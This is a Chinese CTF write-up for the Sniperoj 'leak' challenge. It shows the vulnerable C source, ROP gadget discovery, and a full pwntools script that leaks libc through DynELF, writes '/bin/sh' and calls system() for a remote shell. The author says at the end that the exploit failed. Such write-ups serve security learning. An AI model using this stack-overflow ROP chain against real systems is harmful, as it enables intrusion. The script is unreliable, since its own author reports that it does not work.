参考:1.
2.
题目源码
#include#include #include void init(){ setvbuf(stdout, NULL, _IOLBF, 0);}void welcome(){ char *words = "Welcome to Sniperoj!\nDancing in shackles, Right?\n"; write(1, words, strlen(words));}void vuln(){ char buffer[16] = {0}; read(0, buffer, 0x80);}int main(){ init(); welcome(); vuln(); return 0;}
题目是leak,提示是dynelf,pwntools里有个函数dynelf可以泄露内存任意地址至少一字节数据
linux64位下函数参数前六位是靠RDI, RSI, RDX, RCX, R8和 R9传递的,如果还有更多参数再依靠栈传递,这里需要寻找合适的gadgets进行rop.寻找gadgets的工具,我用的是ROPgadget,下载地址
ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master
找到两处可用gadgets
$ ROPgadget --binary leak --only "pop|ret"============================================================0x0000000000400733 : pop rdi ; ret0x0000000000400731 : pop rsi ; pop r15 ; ret
没有找到类似pop rdx;ret的gadgets,这里先暂且不管,看看只靠两个参数能不能做下去。
先做些预备工作
elf = ELF('leak')write_plt = p64(elf.symbols['write'])start_addr = p64(elf.symbols['_start'])read_plt = p64(elf.symbols['read'])data_addr = p64(elf.symbols['__data_start'])junk = "A" * (0x10 + 8)#Io = process("./leak") Io = remote("pwn.sniperoj.cn", 30008)
再编写leak函数
def leak(addr): Io.recvuntil("Dancing in shackles, Right?\n") payload = junk + p64(0x0000000000400733) + p64(1) + p64(0x0000000000400731) + p64(addr) + start_addr + write_plt + start_addr Io.send(payload) leaked = Io.recv(8) print "[%s] -> [%s] = [%s]" % (hex(addr), hex(u64(leaked)), repr(leaked)) return leaked
leak出system的地址
d = DynELF(leak, elf=ELF("leak"))system_addr = d.lookup('system', 'libc')print "[system()] -> [%s]" % (hex(system_addr))
将/bin/sh写入.data段
payload = junk + p64(0x0000000000400733) + p64(0) + p64(0x0000000000400731) + data_addr + start_addr + read_plt + start_addrIo.send(payload)Io.send("/bin/sh\x00")
调用system("/bin/sh")
payload = junk + p64(0x0000000000400733) + data_addr + p64(system_addr) + p64(0xFFFFFFFF)Io.send(payload)
完整脚本如下
#!/usr/bin/env python# coding:utf-8from pwn import *def read_output(): Io.recvuntil("Dancing in shackles, Right?\n") def leak(addr): read_output() payload = junk + p64(0x0000000000400733) + p64(1) + p64(0x0000000000400731) + p64(addr) + start_addr + write_plt + start_addr Io.send(payload) leaked = Io.recv(8) print "[%s] -> [%s] = [%s]" % (hex(addr), hex(u64(leaked)), repr(leaked)) return leakedelf = ELF('leak')write_plt = p64(elf.symbols['write'])start_addr = p64(elf.symbols['_start'])read_plt = p64(elf.symbols['read'])data_addr = p64(elf.symbols['__data_start'])junk = "A" * (0x10 + 8)#Io = process("./leak") Io = remote("pwn.sniperoj.cn", 30008)# leak the address of system()d = DynELF(leak, elf=ELF("leak"))system_addr = d.lookup('system', 'libc')print "[system()] -> [%s]" % (hex(system_addr)) #system_addr 0x7f279f108390# write /bin/shread_output()payload = junk + p64(0x0000000000400733) + p64(0) + p64(0x0000000000400731) + data_addr + start_addr + read_plt + start_addrIo.send(payload)# send /bin/shIo.send("/bin/sh\x00")read_output()payload = junk + p64(0x0000000000400733) + data_addr + p64(system_addr) + p64(0xFFFFFFFF)Io.send(payload)# interactive()Io.interactive()
利用通用gadgets进行rop又失败了,很伤心,原以为自己已经找到利用方法了,唉,我好菜